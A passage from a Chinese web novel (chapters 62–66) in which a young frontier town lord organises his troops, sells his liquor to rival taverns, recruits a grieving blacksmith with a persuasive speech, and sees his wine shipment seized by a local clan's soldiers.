“酒的销路算是打开了,有了银子,粮食的问题自然不用愁,第一排木制营墙也已经完成,咱们算是在苍岐立住了脚。
可有了银子有了地盘也不稳当,在陇西地界说白了还是谁的拳头大谁说了算,所以苍岐得有自己的牙兵。”
“赞成。”
萧少游附和道:“不管是为了防止日后羌兵入侵还是世家间的互相争斗,哪怕是为了抵御土匪山贼,苍岐都必须有一支军队,而且得是精锐。”
想到这里洛羽就觉得有些好笑,当初萧少游鄙夷各大世家的牙兵,没想到现在开始组建属于自己的牙兵了。
“这两天我清点了一下城内的人数。”
洛羽有条不紊地说道:
“跟着我们来苍岐的老兵外加愿意入军的青壮,总计有三百人,剩下的大多都是老弱妇孺。
这三百人我打算合编成一尉,他们就是苍岐的第一批牙兵!
我相信随着日后苍岐人口的增加,咱们的兵力也会越来越多。”
别看只有三百人,可这些人全都是经历过血战的,比那些乌合之众不知道强了多少。
“以前军中的编制是伍长、什长、五十人为一标,再下来就是百户、都尉。”
洛羽沉声道:
“但咱们有三三制,所以基础的军伍编制必须要改变。
从今天起军中不设伍长,什长就是最基础的军官,十人为一什,分为三个三人小组;
三什为一标,设标长一名,总计三十人;
三标为一旗,设百户一名,除三标兵马外再给百户配十名亲卫,一旗总计百人;
三旗为一尉,设都尉一名,总计三百人。”
“合理。”
韩朔微微点头:
“你提出的三三制我看了,在战场上实用性非常强,一名老兵与两名新兵配合,杀敌的数量甚至比三名各自为战的老兵还要多。
三人就能建立起一点点优势,那成百上千的三人小组放在战场上的战斗力不可限量。”
韩朔资历很老,当他第一次见到三三制的时候就被惊住了,觉得洛羽简直是天才,一点小小的变动便能让军队发生翻天覆地的变化。
“现在的问题是三百人需要一位领军的都尉,我已经是苍岐城主,自然不能当这个都尉。
谁来带兵?”
洛羽乃至蒙虎、董川、吕青云的目光全都集中在了萧少游与韩朔的身上,明显只有这两位够资格、有能力当都尉。
“当然是韩都尉了。”
萧少游率先开口:“韩都尉资历老又有能力,云阳关中几名都尉属您战功最多,这个位置非你莫属。”
“还是别了,混了十几年才当个都尉,传出去让人笑掉大牙。”
韩朔无所谓地摆了摆手:
“咱们心里都清楚,不管是能力还是计谋,少游都强过我太多。他在我手下两年,我是看着他一步步成长起来的,没人比我更了解他的本事。
我当都尉,顶多算是个合格的领兵之将。但他当都尉,有能力让苍岐的兵力迅速发展壮大,会让这支队伍更强。”
“不行,我……”
哪怕知道韩朔说的没错,但萧少游依旧想要推辞,否则他会有一种抢了官位的愧疚。
“磨磨唧唧的,起码我现在还是你的头,这是命令!”
韩朔瞪了他一眼:
“我知道,你一心想要打造出一支精锐铁军,现在不就是你施展才华的大好机会?
我不是为了你让位,而是为了苍岐更好更强!
此事就这么定了!”
“我同意韩大哥的话。”
洛羽看向萧少游:
“从现在起,苍岐城三百号兄弟就交给你了,这不是给你升官发财,而是一副重担压在你身上。
别让兄弟们失望,也别让你九泉之下的爹娘失望。”
帐中一片凝重。
“这担子我接下了。”
萧少游没再扭捏,而是向所有人抱拳行礼,立下军令状:
“请城主,请诸位兄弟放心,一年之内苍岐城若没有一支铁血精锐,就杀我的头!”
“好,这是你说的!”
洛羽站直身子,朗声道:
“从今天起萧少游任都尉、韩朔为副尉,董川、蒙虎、吕青云为百户,各领一旗。
从云阳关带来的战马差不多有一百匹,三旗平分,每一旗都给我组建一标骑兵队伍。
接下来除了修建城墙,你们还要带着将士们操练,一刻也不能懈怠。”
“属下领命!”
众人斗志昂扬,这对他们来说都是一个新的开始,说不定多年之后真会有一支铁血雄师横行陇西大地。
小伍突然从帐外走了进来,抱拳道:
“城主,听雨楼江掌柜来了。”
小伍已经成了亲卫,以后就跟在洛羽身边。
“果然来了。”
洛羽微微一笑:
“走吧,我去见见。”
……
一身锦衣的江殊并不在意营地中
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满是灰尘,任由衣袍拖在地上四处张望,十分惊讶:
“洛城主大手笔啊,放着岐城好好的旧墙不用,竟然拦住山口重新建城。不过这么做只需要建一面城墙,省时省力,还可以利用三面环山的优势将苍岐围在中间,非常安全。
甚妙。”
“江掌柜眼力不错啊。”
洛羽轻笑道:“听说这两天听雨楼的生意红火得很,你怎么有空到我这来?”
“自然是来谢过洛城主,三锅头短短几天便让听雨楼的生意翻了一番,我江殊特来谢过。
顺便再谈一谈接下来的生意。”
江殊鞠了一躬,轻轻一招手便有下人捧过托盘,上面摆满了银子:
“白银三百两,请洛城主笑纳。”
“三百两?不太对吧。”
洛羽很平静:“我记得只收了你五十两定金,剩下来的货款应该是四百五十两才对。”
“您误会了,这不是第一批的尾款,而是第二笔生意的定金。”
江殊解释道:
“一个多月后便是凤川城酒市,到时候不止是凤川城百姓,其他城池的客人、商贾也会慕名而来。
各个酒楼都会拿出自家佳酿来吸引客人,既是各家间的比试也算是一次招揽生意的机会。三锅头品质上乘,定能在酒市上名声大噪,听雨楼自然会跟着沾光。
所以江某来定下一批酒,两百坛。按照洛城主之前说的,以后都是八两一坛,两百坛便是一千八百两,这三百两白银便算是定金。”
“酒市?还能把酒卖到其他城池?”
洛羽的目光瞬间明亮,这样的话三锅头岂不是会畅销各地?自己也能赚个盆满钵满。
“第二笔生意好说,只要听雨楼出钱,三锅头自然会卖给你。”
洛羽目光微挑:“不过我想问问,第一批的尾款?”
江殊微微一笑,望向人声鼎沸的营地:
“洛城主手下这么多人总得吃饭吧,您初来乍到,这里又是穷乡僻壤,买粮食不方便,正好我江某认识做粮商的朋友,可以买到低价粮。
四百五十两的货款已经全都帮洛城主换成了粮食,整整五百石,今天日落之前便会运抵苍岐。
江某自作主张,还望洛城主勿怪。”
洛羽略显诧异,嘴角勾起一抹玩味:
“很好,我喜欢和聪明人做生意,江掌柜有心了。”
“既然是真心要和洛城主做生意,江某自当用心。”
江殊合手作揖:“而且按照洛城主的要求,酒的来源在下一字未曾泄露,整个风川城都无人知晓三锅头出自您的手笔。”
洛羽突然有些喜欢这个年轻掌柜了,轻笑一声:
“酒市开始之前,两百坛三锅头会一坛不少的送给你,放心吧。”
第63章缺个铁匠
一晃半个月的时间就过去了,随着军中士卒的家人陆陆续续到来,苍岐城的人头在缓缓增加,已经有上千人之数。
虽说这里面以老弱妇孺为主,可他们总能干些修城、建房子的活,再不济洗衣做饭总会吧。
营墙已经被加固成两道,中间铺以松木,可以走人,若有土匪来犯可以在上面放箭拒敌,营墙中间开了三道寨门,都用厚重的巨木打造,苍岐城算是有了最基本的防御能力。
过了营墙便算进入苍岐城内部了,三面环山,中间是整片整片的平原谷地,如此地势可谓得天独厚。洛羽在两侧山脚各划分出一块地方用来搭建房屋,一边作为士卒营房,另一边就是百姓们的家了。
有了银子,洛羽的底气也足了,只要参与修墙的百姓每天都有工钱可以拿,绝对不让你白干,这更是让大家喜出望外,干劲十足。
干活的干活、操练的操练,一片欣欣向荣之景,每天苍岐城都在发生变化。
山谷内平整出了一块校场,三百青壮就在这片区域内操练,刀枪、弓马、骑射,暂且不求样样精,起码的样样会。
萧少游抱着膀子,注目沉思,韩朔督促军卒操练,两人搭档的倒是挺默契。
洛羽从一旁走来:
“听说萧都尉找我?想到什么强军之法了?”
“其实很多想法已经在我脑海里酝酿多年,一直无法付诸实践。”
萧少游看向三百悍卒:
“老百姓过日子讲究一个衣食住行,在我看来要想打造一支强军,最基础的同样是衣食住行。”
“噢?详细说说,怎么个衣食住行?”
洛羽很好奇,萧少游的脑子里到底藏着些什么东西。
“衣不仅指衣服,还指士兵其他的装备。甲胄有布甲、皮甲、铁甲,甲胄的防御力越高,士兵的战斗力就越强,还有****弯刀,样样都要精良,正所谓工欲善其事必先利其器,甲胄兵器最能直接提高战斗力;
食就是要吃饱,日常操练、上阵打仗都需要消耗大量体力,连肚子都吃不饱能练出什么精锐?更别提打胜仗了;
住是军营环境,脏乱差容易滋生疾病、瘟疫横行,所以以后的军营务必干净整洁;
行就是指战马,陇西乃边关,西羌也是游牧民族,人人擅长骑射,要想与之对战,咱们的骑兵规模越大越好。”
萧少游说了很多,洛羽听得津津有味,这和脑子里雇佣兵的记忆如出一辙啊,先着眼于细枝末节,再谈全局的战术战法。
说到最后萧少游总结了一句:
“粮食现在不缺,兄弟们都可以吃饱;军营环境我来整顿;战马一时半会儿也急不来。
眼下急需解决的就是衣,让将士们用上精良的战甲、兵器,这是重中之重。咱们虽然从云阳关带回来不少军械,但里面一小半都是损坏的,在我眼里与破铜烂铁无异,不堪一用。”
一语言罢,萧少游就盯着洛羽看了半天,洛羽愕然道:
“看着**嘛?”
“你是城主,我是都尉。我负责练兵,而你负责解决我遇到的困难。所以精良的甲胄、兵器得你去弄,不然你这个城主当得也太舒服了。”
萧少游一本正经的说辞差点把韩朔给逗乐了,洛羽一阵气急,但还是认真说道:
“赤岐山有铁矿,对咱们来说是天降横财,只要有合适的铁匠,想要打造出精良的甲胄和兵器很简单。
但问题是去哪儿找铁匠呢?
随便去凤川城找几个铁匠来肯定不行,会暴露赤岐山有铁矿的秘密,最好是知根知底、值得信任的人。”
“哎,我还真认识一个!”
韩朔一拍大腿:
“我有一老友就是铁匠,家中有个铁匠铺子,七八名伙计。后来老友身故,店铺便传给了他儿子,名为公输白,年方二十二。”
“二十二?”
萧少游疑惑道:
“会不会太年轻了些?打铁的手艺是需要经验积累的,二十出头的年轻人能有多大本事?”
“你们可别小瞧这家伙。”
韩朔见萧少游怀疑,很认真地说道:
“公输一家的男子世代打铁,技艺精湛,他们卖的铁器在附近城镇乃是一绝,但凡用过的没人说不好。
公输白从小便天赋异禀,不仅学会了祖传百年的冶铁技艺,还精通机关、木造之术,那位老友说自己的儿子乃是不世出的天才。
咱们想要打造甲胄、兵器,此人再合适不过了!”
“既然韩大哥力谏,那我就信!”
洛羽沉声道:“年轻人又怎么了,咱们不也是年轻人?谁能想到我们能杀了完颜昌,守住云阳关?
劳烦韩大哥走一趟,尽快将此人请到苍岐!”
“好!”
“今天我就启程!”
……
定州,君府
府内后院种了一排稀奇花卉,恰好是初春时节,个个含苞欲放,颇有争奇斗艳之姿。君墨竹拎着一壶清水悠闲地浇着花,一身墨色长衫辅之以金丝银线,将世家公子的尊贵气彰显无疑。
少倾,白发管家便来到身后:
“公子,打听清楚了。”
“说。”
“洛羽没有沿用岐城的旧址,而是沿着山口重新建墙,已经有一排木桩立了起来,将整座山口从东向西全都封死。”
君墨竹漫不经心地浇着花,嘴角勾起一抹笑意:
“脑筋倒是不错,沿着山口建墙可以充分利用三岐山的地势,以后整座三岐山就是他的了。
粮草方面呢,有消息吗?”
“苍岐城的百姓一直在建城劳作,并无任何异样,而且他们还扩充了不少人口,似乎是随行军卒的家属。
依老奴之见,既
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然他敢扩充人口,就说明并不缺粮。”
“噢?”
君墨竹终于停下了浇花的动作,面露好奇:
“按理说他手里的银子应该用完了啊,怎么还能如此平静?”
“这个,暂时不清楚。”
君墨竹背着手来回踱步,过了很久才问了一句:
“苍岐附近的几座城池最近有什么新鲜事吗?”
“老奴正要跟公子说。”
老管家轻声道:“距离苍岐最近的凤川城最近很是热闹,只因城中有一家名为听雨楼的酒楼出了一种好酒,口感甚佳,引得全城百姓争相品尝。
底下的人特地去买了一坛,公子要不要尝尝?”
“好酒?倒是稀奇,尝尝吧。”
君家乃并州第一门阀,君墨竹什么样的酒没喝过?既然老管家说是好酒,定然有奇特之处。
老管家一招手,立马有下人捧过一杯酒,君墨竹接过酒杯轻轻抿了一口,当场脸颊就红了,连连咳嗽:
“咳咳咳。”
“好烈、好香的酒。”
君墨竹毕竟是世家公子,三锅头的辛辣他还真不习惯,但他只一口就能品出此酒乃上上之品。
老管家急忙道:
“此酒名为三锅头,据说是听雨楼自家所酿,短短数日便火遍全城,名声都已经传到并州来了。”
“自家所酿?呵呵。”
君墨竹冷笑一声:“一座小小酒楼如果有此等本事,早就该红遍陇西三州了,岂会等到今天?此酒定有其他来路。
洛羽刚到苍岐,凤川城就冒出此酒,太巧了吧?”
“额,公子的意思是此酒和洛羽有关?”
君墨竹突然眉头一凝:
“之前在云阳关的时候我听说过一件事,洛羽用二十坛酒从都尉韩朔手里换走了二十匹战马。若是寻常酒水,岂能值二十匹战马?
我打赌,此酒定出自洛羽之手!”
如果洛羽在这定会倍感震惊,仅凭些许细枝末节便联想到了他身上,君墨竹的脑筋远超常人。
“若真是出自洛羽之手,那他便再无粮草之忧了。”
老管家目光微惊:“对我们来说并不是个好消息。”
“呵呵,酒水生意岂是这么好做的?”
君墨竹把玩着手中酒杯:
“我若是没记错,凤川城最大的酒楼应该是鼎香居吧,掌柜的与凤川城主是结拜兄弟,此前请我去喝过一次酒。
现在听雨楼出了此酒,定会抢了他们的生意,鼎香居会不眼红?
去给他们传个消息,告诉他们酒水出自何处。剩下的事就不用我们管了,他们自己会解决。”
老管家露出一抹心领神会的笑容:
“明白!”
“三锅头,好俗气的名字。”
君墨竹凝视杯中酒水,再度抿了一口:
“我倒要看看你能走到哪一步。”
第64章有钱不挣王八蛋
初春的第一场雨
淅淅沥沥的雨点溅落在凤川城的砖瓦飞檐上,宛如有人在你耳边轻声呢喃。
洛羽站在听雨楼的窗边,百姓们撑着雨伞穿梭于街巷间,耳边回荡着滴答雨声,莫名地感到一种宁静、安逸。
即使是雨天,听雨楼的客人依旧络绎不绝,指名道姓要来尝尝三锅头,经常能看到醉醺醺的家伙晃晃悠悠地出门而去。
洛羽今天一是来看看三锅头的火爆程度,二来也是给江殊吃一颗定心丸,告诉他第二批酒正在日夜赶工酿造。
“以前我很好奇,酒楼为何要起名听雨楼。”
望着漫天落下的雨珠,洛羽轻声道:“今天我好像有点明白了。”
“小楼一夜听春雨,老窖十年醉晚风。”
江殊负手而立,轻笑一声:“在我看来雨天喝酒是最惬意的,一壶浊酒、两碟小菜、三五知己,足慰平生。”
“看不出来江掌柜还有如此闲情雅致,倒不像个做生意的俗人。”
“赚钱是很俗,可没钱连谈俗的资格都没有,这世道本就如此。”
江殊转身发问:
“洛城主有没有兴趣喝一杯,我让人炒几个拿手菜。”
“下次吧,苍岐城中还有不少事情需要处理,该回了。”
洛羽转身告别:“第二批酒一定会在酒市开始前送过来,剩下的事就交给你了。
等三锅头大卖,咱们再喝一杯。”
“一言为定!”
洛羽穿过人群、走出酒楼,四周吵闹的宾客们浑然不知三锅头出自他手,整座凤川城都以为是听雨楼用祖传秘法酿制的。
撑起竹伞漫步街头,还没走出街巷就有一名老者拦在了洛羽身前,客客气气:
“敢问可是苍岐洛城主?”
陌生的面庞让洛羽皱起了眉头:“你是?”
“鼎香居的管家。”
老人笑着侧身,做出一个请的手势:
“我家掌柜请洛城主一叙。”
……
刚出了听雨楼就进了鼎香居,两家其实在一条街上,一个东头一个西头,互相是最大的竞争对手。
在老管家的引领下洛羽来到了古色古香的包房内,一路穿行还看到了不少年轻貌美的女婢、窗栏两侧摆放着古玩瓷器,气派程度确实稳压听雨楼一头。
“洛城主大驾光临,小店真是蓬荜生辉啊,哈哈。”
刚进屋就传来一阵爽朗的笑声,大腹便便的中年男子迎了上来:
“鄙人鼎香居掌柜杜刚,能见到名震边关的洛城主真乃三生有幸。说起咱们阙州也是人杰地灵,能出您这等少年英豪,如今更是成了城主,一飞冲天,哈哈。
洛城主请坐!”
洛羽也不客气,顺势入座,轻描淡写地说道:
“乡野小城罢了,如何比得上杜掌柜的大买卖。”
“呵呵,勉强糊口。”
杜刚一边招呼美婢斟酒一边抱歉:
“贸然请来洛城主,实在唐突。但您难得来一次凤川城,机会难得,只好冒昧了。
还望洛城主别介意。”
“难得来一次凤川城也能被杜掌柜知晓?”
洛羽嘴角微翘:“难道您派人跟踪我?”
“洛城主说笑了不是,这不是凑巧了吗,呵呵。”
杜刚不着痕迹地就把话题给岔开了,聊起凤川城的风土人情,唾沫横飞,确实能说会道,不知不觉间称呼就变成了洛兄弟。
洛羽的手掌轻轻摩挲着酒杯边缘:
“杜掌柜今天请我来总不至于是唠家常的吧?有什么事就直说吧。”
“洛兄弟痛快,杜某也不拐弯抹角。”
杜刚终于收起笑容,认真道:“鼎香居想和你做一笔生意,一笔大生意。”
“和我做生意?苍岐城是鸟不拉屎的荒僻之地,一穷二白,能和鼎香居做什么生意?”
“三岐山是荒僻了些,可您会酿酒啊。”
杜刚若有深意:“三锅头短短半月便风靡凤川城,洛城主有此等本事还愁不能与鼎香居做生意?”
洛羽眉头微挑:“杜掌柜知道的东西似乎比我想象的要多啊?”
整座凤川城都没人知道三锅头从何而来,杜刚怎么会知道?
“呵呵,能在凤川城立足多年,总归有些本事。”
杜刚很是自信地说道:
“虽说凤川城内的酒楼鼎香居排第一、听雨楼排第二,但真要比起来听雨楼比我们差远了。
我们的生意最好,鼎香居的背景也比他们深厚得多。”
“我知道,凤川城主姚林和杜掌柜是结拜兄弟,交情莫逆。”
洛羽既然打算在凤川城做酒水生意,怎么可能不查一查鼎香居的背景,况且此事在凤川人尽皆知,根本算不得秘密。
“既然洛兄弟知道,那就应该明白我们才是你最好的合作对象。”
杜刚笑道:“和鼎香居合作,包您赚得盆满钵满,杜某可是真心诚意
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和您交朋友,做买卖。”
洛羽翘起了二郎腿:“那就说说吧,杜掌柜想怎么合作?”
“很简单,您酿酒,我们来卖。”
杜刚竖起一根手指:
“十天后三月初三便是凤川城酒市,对各家酒楼来说都是拓宽客源的好机会,想来听雨楼已经从洛城主手中定了一批酒吧?”
“没错。”
洛羽坦然承认:“两百坛,一坛八两银子。”
“鼎香居出十两一坛,这批酒全都归我们了,洛城主一坛也不要给听雨楼。”
“这不合适吧?人家江掌柜定金都付了,我岂能不按约定做事?传出去名声可就臭了。”
“一坛再加一两,如何?”
“不行。”
“再加一两!”
“哎,下次下次。”
洛羽不为所动:“杜掌柜的诚意我看到了,这一批酒我送给听雨楼,下一次定然与鼎香居合作!”
面对咬死不松口的洛羽,杜刚狠心一咬牙:
“鼎香居出双倍,十五两一坛!两百坛就是三千两,听雨楼付的定金我们也出双倍!
如何?”
洛羽没再拒绝,而是陷入了沉思。
见洛羽终于意动,杜刚趁热打铁:“洛城主,论实力、论规模、论背景,鼎香居都是您最好的选择。
苍岐城上上下下那么多人要养活,银子自然是越多越好。
咱们生意人私底下有句浑话,有钱不挣王八蛋嘛。”
说完这些,杜刚亲自起身给洛羽斟了一杯酒,往前一推:
“洛兄弟,与鼎香居合作,你绝对不会后悔!”
酒水在杯中轻轻晃荡,喝了这杯酒,洛羽就算答应和杜刚合作了。
沉默许久,洛羽在杜刚欣喜的眼神中端起酒杯一饮而尽:
“说得对,有钱不挣王八蛋!”
……
春雨淅淅沥沥地下着,江殊站在窗边,眉宇间隐约带着一丝忧愁。
片刻之后,一名管家走了进来,躬身道:
“掌柜的,洛城主出城了,和杜刚在鼎香居里足足聊了一个时辰。”
“知道了。”
短短的三个字,惆怅之意又浓郁了许多。
“掌柜的,要不派人去苍岐催一催酒吧,有多少先运多少回来,万一被杜刚截胡……”
“不必了,人家若是不想与我们合作,你一坛酒都要不到的,何必自取其辱?”
江殊长叹了口气:
“唉!”
第65章三句话送给你
“人呢?”
“在里面,韩大哥正骂着呢。”
“骂?怎么回事?”
洛羽站在房门口朝里张望,萧少游苦笑道:
“公输白自从爹**之后就一蹶不振,整日借酒消愁,铁匠铺子日渐荒废,这一切韩大哥都不知道,怒其不争。
请他也不肯来,韩大哥直接给绑回来了。”
“打铁天才变成酒蒙子了?”
洛羽眉头微皱:“好端端的怎会变成这样,是不是有隐情?”
“因为他爹死在了羌人手里。”
萧少游默然,公输白和自已有着相同的境遇,不免心生怜悯。
洛羽苦笑一声望向屋内:“先看看再说吧,实在不行咱们再想办法找其他铁匠。”
一个年轻人瘫坐在地上,满身酒气,醉醺醺的,明明叫公输白,可肤色却像块黑炭,嘴里唠叨着:
“韩叔,您就放过我吧,我只想在铁匠铺子里待着,不可能帮你打铁,更不可能待在这个鸟不拉屎的破城,替那些牙兵打造什么甲胄军械,我不屑于他们为伍。”
“现在不是打不打铁的事!”
韩朔宛如在训斥自家后辈,怒气冲冲:
“你爹和我是至交,从小我是看着你长大的。你爹不在了我自当好好照看你,这些年我一直在边关,极少回家,没想到你竟然变成这个样子。
喝喝喝就知道喝,看看自己还像个人吗!”
“喝酒怎么了,又不犯法。”
公输白提起腰间的酒葫芦往喉咙里灌了一口,不以为意:“你也喝,我爹也喝,咱们半斤八两。”
“你个混小子,竟敢跟我顶嘴了!”
韩朔一阵气急:“这些年我寄了不少银子给你,指望你好好将铁匠铺子经营好,钱呢!该不会都买酒喝了吧?
你爹给你留下的铁匠铺子生意原本不错,你看看被你折腾成了什么样子!我看你就是在混吃等死!”
韩朔唾沫横飞地骂了半天,当他看到那间蛛网密布、灰尘遍地的铁匠铺子时差点没把鼻子气歪了。
“打铁,呵呵,我爹打了一辈子铁有什么用!”
公输白挣扎着从地上爬起来,脸色涨红:
“羌兵一来不还是死!我爹中刀的时候我就在旁边看着,羌兵连看都没看他一眼就在胸口划拉了一刀,和杀条狗没什么两样,活生生的一条命啊!
后来我想明白了,看开了,什么祖传技艺、什么匠造精神,全都是狗屁。反正咱们这些陇西百姓都是贱命,迟早会死在羌人手里,倒不如趁着还有命喝酒多快活快活!
您在边关带兵打仗,口口声声说着保家卫国,可你们这些所谓的边军保护了谁!我爹被羌贼残杀的时候你又在哪儿!
羌贼一次次的入境劫掠,一次次的残杀百姓,你们这些边军呢,你们在哪儿!
你说我混吃等死,你不也一样!”
公输白的眼眶中闪烁着泪花,将深埋多年的心里话全都说了出来。
“混账!”
“啪!”
也不知道是愤怒还是羞愧,韩朔一巴掌扇了过去,五根鲜红的手指印迅速浮现在公输白黝黑的脸颊上。
“打吧,打死我吧!”
公输白红着眼眶:“死在你手里好歹留个全尸,总好过像条狗一样死在羌人手里!”
“你个浑蛋!我……”
“住手!”
就在韩朔准备接着给他大逼斗的时候洛羽拦住了他:“我来跟他聊聊。”
韩朔这才忍住冲动,把头扭到了一边。
躲过皮肉之苦的公输白皱眉道:
“你就是韩叔的头?所谓的苍岐城主?怪年轻的。
不过我劝你**这条心吧,说句心里话,不管是官军还是牙兵,我对你们这些当兵的没有好感,甚至说是厌恶。如果不是韩叔在这,我现在就得指着鼻子骂人。
想让我帮你们打铁造军械,做梦!”
洛羽算是明白公输白这种敌意从何而来了。
他爹死在羌兵手里,他对羌兵有恨,对本该保卫边疆的边军也有恨。
他恨边军的碌碌无为,恨边军的胆小怯懦、恨边军的**……
整个陇西应该不止他一人这么想吧。
“我叫洛羽,对你没有任何恶意。你爹的死我很同情,但人死不能复生,还请你节哀。”
“洛羽,这名字怎么有点耳熟?”
公输白有些疑惑,继而错愕:
“你就是杀了完颜昌、守住云阳关的那个年轻百户!原来这件事是你们干的。”
从头到尾韩朔都没说过这件事,所以他极为震惊,在公输白看来这是近些年边军唯一打赢的一场胜仗了,起码干了点人事。
“我是真心诚意想请你来苍岐助我一臂之力。”
洛羽平静的说道:
“我说三句话,听完你想走就走,想留就留,绝不会有任何人强迫你。”
屋中陷入沉寂,公输白目光闪烁,他倒要看看洛羽想说什么。
“第一句。韩大哥跟我说你家是匠造世家,
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不仅精通冶铁、锻造之术,还会各种机关构造,技艺精湛。你更是这方面的天才,你爹一心希望你将祖传的手艺发扬光大。
你觉得你爹在天有灵愿意看着你浑浑噩噩、混吃等死,直到家族技艺失传吗?”
公输白默然,没有吱声,只是脸上的怒气少了很多。
“第二句。死在羌贼手里的人不止你爹一个,我在云阳关见过太多百姓惨死,没爹没娘的孩子只能坐在血泊中哭泣,要说惨,比你惨的人数不胜数!可他们呢,他们不还是要咬着牙活下去?
我觉得如果是堂堂正正的陇西儿郎,就该想着如何保卫自己的家,应该去做点什么,而不是在这碌碌无为,怨天尤人。
别人或许是无能为力,只能在心中祈祷羌兵的屠刀不要落下。但你公输白,有能力做些事情。你的锻造之术可以给我的士兵打造出精良的甲胄、兵器。
有了这些他们就可以在战场上杀敌,给你爹,给千千万万惨死的百姓报仇,更能保护三州的平民百姓免遭羌人**。
当然了,苍岐城只有三百军卒,你会觉得我在说空话大话,但我可以告诉你,我手下每一名军卒都杀过羌贼,死在我们手里的羌兵数以百计。
别人不敢打的仗我们敢打,别人不愿保护的百姓我们会去保护!”
屋中一片死寂,不仅是公输白,就连萧少游和韩朔都沉默了,云阳关的那场大战让这支队伍发生了蜕变,起码他们心中多了百姓。
“第三句。”
洛羽竖起两根手指:
“你如果选择跟着我们一起干,那我保证,会带着手下的兄弟抵御羌贼、保卫家乡,绝不会任由他们残杀百姓。
我们的结局就只有两条路,要么赢要么输。
打输了,我们乃至整座苍岐城的所有人都会一起死,为了保护自己的家而战死!
所以,你得考虑清楚,怕不怕。”
说完这句,洛羽已经迈步往房门口走去。
公输白心头一颤,下意识地问出一句:
“打赢了呢?”
“你和你爹不都爱喝酒吗。”
走到门口的洛羽转身直视公输白的双眸:
“赢了,我们一起去你爹的坟头,敬上一壶庆功酒。”
一语言罢,三人转身离去,只剩公输白傻傻地愣在原地。
过了很久他才回过神,挥舞着拳头:
“韩叔,派几个兄弟去把铁匠铺子里的家伙什都搬过来啊!没家伙我怎么打铁!”
第66章凤川城我说了算!
“酒,酒都酿好了。”
沈漓顶着两个黑眼圈走出木屋,眼中满是血丝,脸颊都没什么血色了。
“这些天麻烦你了,谢谢。”
为了赶在三月初三之前酿完两百坛酒,沈漓带着十几名妇人日夜赶工,每天只睡两个时辰,好不容易才完成。洛羽的心头莫名一番触动,这小丫头比外表看起来要坚强得多。
不对,不是小丫头,沈漓其实比洛羽还要大上两岁,只不过洛羽有着远超常人的成熟。
“原来你也会说谢谢。”
沈漓没好气地瞪了他一眼:
“我怕啊,怕不干活就没饭吃,怕被你赶走。哼!
不过我说句心里话,你既然已经答应了和人家听雨楼做买卖,就不该把酒再卖给鼎香居,这样有点无赖了吧?”
“哼,有钱不挣王八蛋嘛。”
洛羽一瞪眼:
“苍岐城这么多人要养活,当然是谁家出的银子多我就卖给谁,天经地义!”
“行行行,你是城主你说了算!我得去睡了,两百坛酒一坛不少,你自己看着办吧。”
沈漓懒得和洛羽掰扯,挥挥手就走了。洛羽这才轻喝一声:
“蒙虎,吕青云!”
“在!”
“将两百坛酒全部装车,明天一早送给鼎香居,千万不要出纰漏!”
“诺!”
……
“嘎吱嘎吱~”
十几辆驴车压着黄泥路慢悠悠地前行,边上有数十号壮硕的汉子护卫,今天就是苍岐城与鼎香居交割货物的日子。
距离即将到来的凤川城酒市仅剩五天,这两天城内的人流明显变多了,由于三锅头名声大噪,不少外地客商都特地赶来,看有没有机会买几坛带走。
鼎香居选择的交货地点并不在凤川城内,而是在城外十里处的一个荒僻乡村,用杜刚的话来说酒市开始之前并不想走漏风声,要保密,到时候要让三锅头一炮而红。
刚到地方蒙虎的眉头就皱了起来,扭头四顾,周围全是废弃破败的房屋,鬼影都不见一个,根本就是个荒废村子,甚至嫌弃起来:
“鼎香居选的这是什么地方,比咱们苍岐城还偏僻。”
“保密嘛,自然要掩人耳目。”
吕青云朝前方努了努嘴:“瞧,他们的人来了。”
“两位军爷,你们是洛城主麾下吧?”
一名老管家带着数十名伙计从拐角处行出,像是早就侯在这一般,恭敬地弯腰行礼:“老朽是鼎香居的管家,今日我来收货。”
蒙虎往后一指:“这就是谈好的两百坛酒,老人家您点点。”
“害,不用点。”
老管家随意地扫了一眼,满脸笑意:
“洛城主何等英雄人物,那是在云阳关杀退无数羌贼的豪情男儿,难不成还能少了咱们鼎香居的酒?”
这番话让蒙虎很受用,大手一挥:
“来人啊,搬一坛酒过来,给伙计们尝尝!这坛酒算咱们送的,不收银子,顺便当验验货了。”
身后士卒赶忙搬来一小坛酒,给每个伙计都盛了一碗,酒香味瞬间弥漫全场。
伙计们的眼珠全都亮了,鼻子拼命地嗅。早就听说三锅头乃上上之品,喝一杯飘飘欲仙,可实在是太贵了,他们这些伙计哪儿买得起,没想到今天能白喝一坛!
“哈哈,那就多谢洛城主了!”
老管家同样欣喜,众人将烈酒一饮而尽,回味无穷,连连夸赞确实是好酒,值得起这个价。
蒙虎笑着叮嘱道:
“不过我家城主交代了,说这批酒刚酿完,再发酵几日能更美味。所以临行前全都用红泥将坛口封好了,在酒市开始之前万不能打开,否则会影响口感。
好歹十五两银子一坛酒,可别糟蹋了。”
“口感竟然还能更好?”
老管家都惊了,连连点头:“放心吧,洛城主交代的事我们岂敢马虎,一定将坛口捂得严严实实!”
“行,我要说的就这么多了。”
蒙虎搓了搓手,兴奋道:“这个货款……”
“这是自然,来人啊,抬上来!”
伙计们抬来几口木箱子,砰的一声打开,里面装满了白花花的银两。
“两位军爷,按照约定两百坛酒该是三千两银子,洛城主已经收走了六百两定金,这里是剩下的尾款。”
蒙虎和吕青云他们同样直了眼,乖乖,这么多银子,这辈子都没见过,得买多少粮食啊。
“好好,哈哈。”
蒙虎笑道:“那咱们也算是钱货两清,合作愉快!”
“合作愉快!”
老管家的嘴角勾起了一抹轻笑。
“哒哒哒!”
“轰隆隆!”
话音刚落,远处就响起了一阵急促的马蹄声
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,数百马步军卒风驰电掣般涌入废弃的村落,将拖着美酒的车队尽数围堵在中间。军卒清一色打“姚”字旗号,来者不善。
蒙虎与吕青云嗅到了一丝不对劲,手掌已经下意识的握住了刀柄,所有人都打起了十二分的精神。
为首一将轻扯缰绳,缓缓来到蒙虎身前,瞄了一眼装满酒坛的车队轻笑道:“手笔不小嘛,这么多的酒,啧啧。”
蒙虎从笑声中听出了一丝讥讽,皱眉道:
“敢问你是?”
“姚家,姚昌。”
轻飘飘的四个字让两人心中警惕之意大涨,姚家可是凤川城一带的地头蛇啊,可莫名其妙的他们怎么会出现在这里?
蒙虎性子急躁,还是吕青云客气地抱拳问道:
“我等是苍岐洛城主麾下,正在与鼎香居做买卖,不知姚将军此行所为何事?”
“呵呵,做买卖?”
姚昌大笑一声,随即面色变得冰寒:
“接到情报,这批酒水中私藏军械,欲走私给羌贼,遵姚城主军令,酒水查封,统统带回检查。
你们滚吧!”
